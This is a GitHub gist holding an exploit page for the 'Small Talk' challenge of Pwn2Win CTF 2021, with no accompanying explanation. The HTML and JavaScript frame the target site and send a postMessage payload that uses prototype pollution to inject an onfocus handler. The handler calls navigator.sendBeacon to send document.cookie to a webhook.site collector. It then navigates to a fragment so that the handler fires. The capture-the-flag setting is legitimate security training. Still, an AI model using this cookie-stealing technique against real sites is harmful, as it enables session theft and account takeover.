Skip to content

Instantly share code, notes, and snippets.

@st98
Created May 30, 2021 17:03
Show Gist options
  • Save st98/1b816cf12fe6e2b533e45c10d4dfdb4c to your computer and use it in GitHub Desktop.
Save st98/1b816cf12fe6e2b533e45c10d4dfdb4c to your computer and use it in GitHub Desktop.
Pwn2Win CTF 2021 - Small Talk
<body>
<style>
iframe {
width: 300px;
height: 200px;
}
</style>
<img src="http://httpstat.us/200?sleep=100000">
<img src="https://webhook.site/...?start">
<script>
function go(url) {
const iframe = document.createElement('iframe');
iframe.src = url;
iframe.onload = () => {
iframe.contentWindow.postMessage(JSON.stringify({
'a.__proto__.arrow': {
"onfocus": "navigator.sendBeacon('https://webhook.site/...',document.cookie)",
"style": "position:fixed;z-index:9;left:0;top:0;width:100px !important;height:100px !important;background:red",
"contenteditable": true,
"id": "hoge",
"class": "fuga"
},
b: 123
}), '*');
setTimeout(() => {
iframe.onload = () => {};
iframe.src += '#hoge';
}, 10);
};
document.body.appendChild(iframe);
}
for (let i = 0; i < 10; i++) {
go('https://small-talk.coach:1337');
}
</script>
</body>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment